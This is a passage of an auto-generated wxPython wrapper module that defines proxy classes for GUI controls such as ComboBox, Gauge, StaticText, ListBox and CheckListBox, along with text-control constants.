**kwargs):\n \"\"\"\n CanUndo(self) -> bool\n\n Returns True if the combobox is editable and the last edit can be\n undone. Only available on Windows.\n \"\"\"\n return _controls_.ComboBox_CanUndo(*args, **kwargs)\n\n def CanRedo(*args, **kwargs):\n \"\"\"\n CanRedo(self) -> bool\n\n Returns True if the combobox is editable and the last undo can be\n redone. Only available on Windows.\n \"\"\"\n return _controls_.ComboBox_CanRedo(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ComboBox_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n CurrentSelection = property(GetCurrentSelection,doc=\"See `GetCurrentSelection`\") \n InsertionPoint = property(GetInsertionPoint,SetInsertionPoint,doc=\"See `GetInsertionPoint` and `SetInsertionPoint`\") \n LastPosition = property(GetLastPosition,doc=\"See `GetLastPosition`\") \n Mark = property(GetMark,SetMark,doc=\"See `GetMark` and `SetMark`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.ComboBox_swigregister(ComboBox)\nComboBoxNameStr = cvar.ComboBoxNameStr\n\ndef PreComboBox(*args, **kwargs):\n \"\"\"\n PreComboBox() -> ComboBox\n\n Precreate a ComboBox control for 2-phase creation.\n \"\"\"\n val = _controls_.new_PreComboBox(*args, **kwargs)\n return val\n\ndef ComboBox_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n ComboBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ComboBox_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nGA_HORIZONTAL = _controls_.GA_HORIZONTAL\nGA_VERTICAL = _controls_.GA_VERTICAL\nGA_SMOOTH = _controls_.GA_SMOOTH\nGA_PROGRESSBAR = 0 # obsolete \nclass Gauge(_core.Control):\n \"\"\"Proxy of C++ Gauge class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, int range=100, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=GA_HORIZONTAL, \n Validator validator=DefaultValidator, \n String name=GaugeNameStr) -> Gauge\n \"\"\"\n _controls_.Gauge_swiginit(self,_controls_.new_Gauge(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, int range=100, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=GA_HORIZONTAL, \n Validator validator=DefaultValidator, \n String name=GaugeNameStr) -> bool\n \"\"\"\n return _controls_.Gauge_Create(*args, **kwargs)\n\n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, int range)\"\"\"\n return _controls_.Gauge_SetRange(*args, **kwargs)\n\n def GetRange(*args, **kwargs):\n \"\"\"GetRange(self) -> int\"\"\"\n return _controls_.Gauge_GetRange(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, int pos)\"\"\"\n return _controls_.Gauge_SetValue(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> int\"\"\"\n return _controls_.Gauge_GetValue(*args, **kwargs)\n\n def Pulse(*args, **kwargs):\n \"\"\"Pulse(self)\"\"\"\n return _controls_.Gauge_Pulse(*args, **kwargs)\n\n def IsVertical(*args, **kwargs):\n \"\"\"IsVertical(self) -> bool\"\"\"\n return _controls_.Gauge_IsVertical(*args, **kwargs)\n\n def SetShadowWidth(*args, **kwargs):\n \"\"\"SetShadowWidth(self, int w)\"\"\"\n return _controls_.Gauge_SetShadowWidth(*args, **kwargs)\n\n def GetShadowWidth(*args, **kwargs):\n \"\"\"GetShadowWidth(self) -> int\"\"\"\n return _controls_.Gauge_GetShadowWidth(*args, **kwargs)\n\n def SetBezelFace(*args, **kwargs):\n \"\"\"SetBezelFace(self, int w)\"\"\"\n return _controls_.Gauge_SetBezelFace(*args, **kwargs)\n\n def GetBezelFace(*args, **kwargs):\n \"\"\"GetBezelFace(self) -> int\"\"\"\n return _controls_.Gauge_GetBezelFace(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Gauge_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n BezelFace = property(GetBezelFace,SetBezelFace,doc=\"See `GetBezelFace` and `SetBezelFace`\") \n Range = property(GetRange,SetRange,doc=\"See `GetRange` and `SetRange`\") \n ShadowWidth = property(GetShadowWidth,SetShadowWidth,doc=\"See `GetShadowWidth` and `SetShadowWidth`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.Gauge_swigregister(Gauge)\nGaugeNameStr = cvar.GaugeNameStr\n\ndef PreGauge(*args, **kwargs):\n \"\"\"PreGauge() -> Gauge\"\"\"\n val = _controls_.new_PreGauge(*args, **kwargs)\n return val\n\ndef Gauge_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Gauge_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Gauge_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass StaticBox(_core.Control):\n \"\"\"Proxy of C++ StaticBox class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=StaticBoxNameStr) -> StaticBox\n \"\"\"\n _controls_.StaticBox_swiginit(self,_controls_.new_StaticBox(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=StaticBoxNameStr) -> bool\n \"\"\"\n return _controls_.StaticBox_Create(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticBox_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n_controls_.StaticBox_swigregister(StaticBox)\nStaticBitmapNameStr = cvar.StaticBitmapNameStr\nStaticBoxNameStr = cvar.StaticBoxNameStr\nStaticTextNameStr = cvar.StaticTextNameStr\nStaticLineNameStr = cvar.StaticLineNameStr\n\ndef PreStaticBox(*args, **kwargs):\n \"\"\"PreStaticBox() -> StaticBox\"\"\"\n val = _controls_.new_PreStaticBox(*args, **kwargs)\n return val\n\ndef StaticBox_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n StaticBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticBox_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass StaticLine(_core.Control):\n \"\"\"Proxy of C++ StaticLine class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=LI_HORIZONTAL, \n String name=StaticLineNameStr) -> StaticLine\n \"\"\"\n _controls_.StaticLine_swiginit(self,_controls_.new_StaticLine(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=LI_HORIZONTAL, \n String name=StaticLineNameStr) -> bool\n \"\"\"\n return _controls_.StaticLine_Create(*args, **kwargs)\n\n def IsVertical(*args, **kwargs):\n \"\"\"IsVertical(self) -> bool\"\"\"\n return _controls_.StaticLine_IsVertical(*args, **kwargs)\n\n def GetDefaultSize(*args, **kwargs):\n \"\"\"GetDefaultSize() -> int\"\"\"\n return _controls_.StaticLine_GetDefaultSize(*args, **kwargs)\n\n GetDefaultSize = staticmethod(GetDefaultSize)\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticLine_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n_controls_.StaticLine_swigregister(StaticLine)\n\ndef PreStaticLine(*args, **kwargs):\n \"\"\"PreStaticLine() -> StaticLine\"\"\"\n val = _controls_.new_PreStaticLine(*args, **kwargs)\n return val\n\ndef StaticLine_GetDefaultSize(*args):\n \"\"\"StaticLine_GetDefaultSize() -> int\"\"\"\n return _controls_.StaticLine_GetDefaultSize(*args)\n\ndef StaticLine_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n StaticLine_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticLine_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass StaticText(_core.Control):\n \"\"\"Proxy of C++ StaticText class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=StaticTextNameStr) -> StaticText\n \"\"\"\n _controls_.StaticText_swiginit(self,_controls_.new_StaticText(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=StaticTextNameStr) -> bool\n \"\"\"\n return _controls_.StaticText_Create(*args, **kwargs)\n\n def Wrap(*args, **kwargs):\n \"\"\"\n Wrap(self, int width)\n\n This functions wraps the control's label so that each of its lines\n becomes at most ``width`` pixels wide if possible (the lines are\n broken at words boundaries so it might not be the case if words are\n too long). If ``width`` is negative, no wrapping is done.\n \"\"\"\n return _controls_.StaticText_Wrap(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticText_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n_controls_.StaticText_swigregister(StaticText)\n\ndef PreStaticText(*args, **kwargs):\n \"\"\"PreStaticText() -> StaticText\"\"\"\n val = _controls_.new_PreStaticText(*args, **kwargs)\n return val\n\ndef StaticText_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n StaticText_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticText_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass StaticBitmap(_core.Control):\n \"\"\"Proxy of C++ StaticBitmap class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=StaticBitmapNameStr) -> StaticBitmap\n \"\"\"\n _controls_.StaticBitmap_swiginit(self,_controls_.new_StaticBitmap(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=StaticBitmapNameStr) -> bool\n \"\"\"\n return _controls_.StaticBitmap_Create(*args, **kwargs)\n\n def GetBitmap(*args, **kwargs):\n \"\"\"GetBitmap(self) -> Bitmap\"\"\"\n return _controls_.StaticBitmap_GetBitmap(*args, **kwargs)\n\n def SetBitmap(*args, **kwargs):\n \"\"\"SetBitmap(self, Bitmap bitmap)\"\"\"\n return _controls_.StaticBitmap_SetBitmap(*args, **kwargs)\n\n def SetIcon(*args, **kwargs):\n \"\"\"SetIcon(self, Icon icon)\"\"\"\n return _controls_.StaticBitmap_SetIcon(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticBitmap_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n_controls_.StaticBitmap_swigregister(StaticBitmap)\n\ndef PreStaticBitmap(*args, **kwargs):\n \"\"\"PreStaticBitmap() -> StaticBitmap\"\"\"\n val = _controls_.new_PreStaticBitmap(*args, **kwargs)\n return val\n\ndef StaticBitmap_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n StaticBitmap_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.StaticBitmap_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass ListBox(_core.ControlWithItems):\n \"\"\"Proxy of C++ ListBox class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=ListBoxNameStr) -> ListBox\n \"\"\"\n _controls_.ListBox_swiginit(self,_controls_.new_ListBox(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=ListBoxNameStr) -> bool\n \"\"\"\n return _controls_.ListBox_Create(*args, **kwargs)\n\n def Insert(*args, **kwargs):\n \"\"\"\n Insert(self, String item, int pos, PyObject clientData=None)\n\n Insert an item into the control before the item at the ``pos`` index,\n optionally associating some data object with the item.\n \"\"\"\n return _controls_.ListBox_Insert(*args, **kwargs)\n\n def InsertItems(*args, **kwargs):\n \"\"\"InsertItems(self, wxArrayString items, unsigned int pos)\"\"\"\n return _controls_.ListBox_InsertItems(*args, **kwargs)\n\n def Set(*args, **kwargs):\n \"\"\"Set(self, wxArrayString items)\"\"\"\n return _controls_.ListBox_Set(*args, **kwargs)\n\n def IsSelected(*args, **kwargs):\n \"\"\"IsSelected(self, int n) -> bool\"\"\"\n return _controls_.ListBox_IsSelected(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, int n, bool select=True)\"\"\"\n return _controls_.ListBox_SetSelection(*args, **kwargs)\n\n def Select(*args, **kwargs):\n \"\"\"\n Select(self, int n)\n\n This is the same as `SetSelection` and exists only because it is\n slightly more natural for controls which support multiple selection.\n \"\"\"\n return _controls_.ListBox_Select(*args, **kwargs)\n\n def Deselect(*args, **kwargs):\n \"\"\"Deselect(self, int n)\"\"\"\n return _controls_.ListBox_Deselect(*args, **kwargs)\n\n def DeselectAll(*args, **kwargs):\n \"\"\"DeselectAll(self, int itemToLeaveSelected=-1)\"\"\"\n return _controls_.ListBox_DeselectAll(*args, **kwargs)\n\n def SetStringSelection(*args, **kwargs):\n \"\"\"SetStringSelection(self, String s, bool select=True) -> bool\"\"\"\n return _controls_.ListBox_SetStringSelection(*args, **kwargs)\n\n def GetSelections(*args, **kwargs):\n \"\"\"GetSelections(self) -> PyObject\"\"\"\n return _controls_.ListBox_GetSelections(*args, **kwargs)\n\n def SetFirstItem(*args, **kwargs):\n \"\"\"SetFirstItem(self, int n)\"\"\"\n return _controls_.ListBox_SetFirstItem(*args, **kwargs)\n\n def SetFirstItemStr(*args, **kwargs):\n \"\"\"SetFirstItemStr(self, String s)\"\"\"\n return _controls_.ListBox_SetFirstItemStr(*args, **kwargs)\n\n def EnsureVisible(*args, **kwargs):\n \"\"\"EnsureVisible(self, int n)\"\"\"\n return _controls_.ListBox_EnsureVisible(*args, **kwargs)\n\n def AppendAndEnsureVisible(*args, **kwargs):\n \"\"\"AppendAndEnsureVisible(self, String s)\"\"\"\n return _controls_.ListBox_AppendAndEnsureVisible(*args, **kwargs)\n\n def IsSorted(*args, **kwargs):\n \"\"\"IsSorted(self) -> bool\"\"\"\n return _controls_.ListBox_IsSorted(*args, **kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"\n HitTest(self, Point pt) -> int\n\n Test where the given (in client coords) point lies\n \"\"\"\n return _controls_.ListBox_HitTest(*args, **kwargs)\n\n def SetItemForegroundColour(*args, **kwargs):\n \"\"\"SetItemForegroundColour(self, int item, Colour c)\"\"\"\n return _controls_.ListBox_SetItemForegroundColour(*args, **kwargs)\n\n def SetItemBackgroundColour(*args, **kwargs):\n \"\"\"SetItemBackgroundColour(self, int item, Colour c)\"\"\"\n return _controls_.ListBox_SetItemBackgroundColour(*args, **kwargs)\n\n def SetItemFont(*args, **kwargs):\n \"\"\"SetItemFont(self, int item, Font f)\"\"\"\n return _controls_.ListBox_SetItemFont(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ListBox_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n Selections = property(GetSelections,doc=\"See `GetSelections`\") \n_controls_.ListBox_swigregister(ListBox)\nListBoxNameStr = cvar.ListBoxNameStr\n\ndef PreListBox(*args, **kwargs):\n \"\"\"PreListBox() -> ListBox\"\"\"\n val = _controls_.new_PreListBox(*args, **kwargs)\n return val\n\ndef ListBox_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n ListBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ListBox_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass CheckListBox(ListBox):\n \"\"\"Proxy of C++ CheckListBox class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=ListBoxNameStr) -> CheckListBox\n \"\"\"\n _controls_.CheckListBox_swiginit(self,_controls_.new_CheckListBox(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray, \n long style=0, Validator validator=DefaultValidator, \n String name=ListBoxNameStr) -> bool\n \"\"\"\n return _controls_.CheckListBox_Create(*args, **kwargs)\n\n def IsChecked(*args, **kwargs):\n \"\"\"IsChecked(self, unsigned int index) -> bool\"\"\"\n return _controls_.CheckListBox_IsChecked(*args, **kwargs)\n\n def Check(*args, **kwargs):\n \"\"\"Check(self, unsigned int index, int check=True)\"\"\"\n return _controls_.CheckListBox_Check(*args, **kwargs)\n\n def GetItemHeight(*args, **kwargs):\n \"\"\"GetItemHeight(self) -> int\"\"\"\n return _controls_.CheckListBox_GetItemHeight(*args, **kwargs)\n\n def GetChecked(self):\n \"\"\"\n GetChecked(self)\n\n Return a tuple of integers corresponding to the checked items in\n the control, based on `IsChecked`.\n \"\"\"\n return tuple([i for i in range(self.Count) if self.IsChecked(i)])\n\n def GetCheckedStrings(self):\n \"\"\"\n GetCheckedStrings(self)\n\n Return a tuple of strings corresponding to the checked\n items of the control, based on `GetChecked`.\n \"\"\"\n return tuple([self.GetString(i) for i in self.GetChecked()])\n\n def SetChecked(self, indexes):\n \"\"\"\n SetChecked(self, indexes)\n\n Sets the checked state of items if the index of the item is \n found in the indexes sequence.\n \"\"\"\n for i in indexes:\n assert 0 <= i < self.Count, \"Index (%s) out of range\" % i\n for i in range(self.Count):\n self.Check(i, i in indexes)\n\n def SetCheckedStrings(self, strings):\n \"\"\"\n SetCheckedStrings(self, indexes)\n\n Sets the checked state of items if the item's string is found\n in the strings sequence.\n \"\"\"\n for s in strings:\n assert s in self.GetStrings(), \"String ('%s') not found\" % s\n for i in range(self.Count):\n self.Check(i, self.GetString(i) in strings)\n\n Checked = property(GetChecked,SetChecked)\n CheckedStrings = property(GetCheckedStrings,SetCheckedStrings)\n\n ItemHeight = property(GetItemHeight) \n_controls_.CheckListBox_swigregister(CheckListBox)\n\ndef PreCheckListBox(*args, **kwargs):\n \"\"\"PreCheckListBox() -> CheckListBox\"\"\"\n val = _controls_.new_PreCheckListBox(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nTE_NO_VSCROLL = _controls_.TE_NO_VSCROLL\nTE_AUTO_SCROLL = _controls_.TE_AUTO_SCROLL\nTE_READONLY = _controls_.TE_READONLY\nTE_MULTILINE = _controls_.TE_MULTILINE\nTE_PROCESS_TAB = _controls_.TE_PROCESS_TAB\nTE_LEFT = _controls_.TE_LEFT\nTE_CENTER = _controls_.TE_CENTER\nTE_RIGHT = _controls_.TE_RIGHT\nTE_CENTRE = _controls_.TE_CENTRE\nTE_RICH = _controls_.TE_RICH\nTE_PROCESS_ENTER = _controls_.TE_PROCESS_ENTER\nTE_PASSWORD = _controls_.TE_PASSWORD\nTE_AUTO_URL = _controls_.TE_AUTO_URL\nTE_NOHIDESEL = _controls_.TE_NOHIDESEL\nTE_DONTWRAP = _controls_.TE_DONTWRAP\nTE_CHARWRAP = _controls_.TE_CHARWRAP\nTE_WORDWRAP = _controls_.TE_WORDWRAP\nTE_BESTWRAP = _controls_.TE_BESTWRAP\nTE_RICH2 = _controls_.TE_RICH2\nTE_CAPITALIZE = _controls_.TE_CAPITALIZE\nTE_LINEWRAP = TE_CHARWRAP \nTEXT_ALIGNMENT_DEFAULT = _controls_.TEXT_ALIGNMENT_DEFAULT\nTEXT_ALIGNMENT_LEFT = _controls_.TEXT_ALIGNMENT_LEFT\nTEXT_ALIGNMENT_CENTRE = _controls_.TEXT_ALIGNMENT_CENTRE\nTEXT_ALIGNMENT_CENTER = _controls_.TEXT_ALIGNMENT_CENTER\nTEXT_ALIGNMENT_RIGHT = _controls_.TEXT_ALIGNMENT_RIGHT\nTEXT_ALIGNMENT_JUSTIFIED = _controls_.TEXT_ALIGNMENT_JUSTIFIED\nTEXT_ATTR_TEXT_COLOUR = _controls_.TEXT_ATTR_TEXT_COLOUR\nTEXT_ATTR_BACKGROUND_COLOUR = _controls_.TEXT_ATTR_BACKGROUND_COLOUR\nTEXT_ATTR_FONT_FACE = _controls_.TEXT_ATTR_FONT_FACE\nTEXT_ATTR_FONT_SIZE = _controls_.TEXT_ATTR_FONT_SIZE\nTEXT_ATTR_FONT_WEIGHT = _controls_.TEXT_ATTR_FONT_WEIGHT\nTEXT_ATTR_FONT_ITALIC = _controls_.TEXT_ATTR_FONT_ITALIC\nTEXT_ATTR_FONT_UNDERLINE = _controls_.TEXT_ATTR_FONT_UNDERLINE\nTEXT_ATTR_FONT = _controls_.TEXT_ATTR_FONT\nTEXT_ATTR_ALIGNMENT = _controls_.TEXT_ATTR_ALIGNMENT\nTEXT_ATTR_LEFT_INDENT = _controls_.TEXT_ATTR_LEFT_INDENT\nTEXT_ATTR_RIGHT_INDENT = _controls_.TEXT_ATTR_RIGHT_INDENT\nTEXT_ATTR_TABS = _controls_.TEXT_ATTR_TABS\nTE_HT_UNKNOWN = _controls_.TE_HT_UNKNOWN\nTE_HT_BEFORE = _controls_.TE_HT_BEFORE\nTE_HT_ON_TEXT = _controls_.TE_HT_ON_TEXT\nTE_HT_BELOW = _controls_.TE_HT_BELOW\nTE_HT_BEYOND = _controls_.TE_HT_BEYOND\nOutOfRangeTextCoord = _controls_.OutOfRangeTextCoord\nInvalidTextCoord = _controls_.InvalidTextCoord\nTEXT_TYPE_ANY 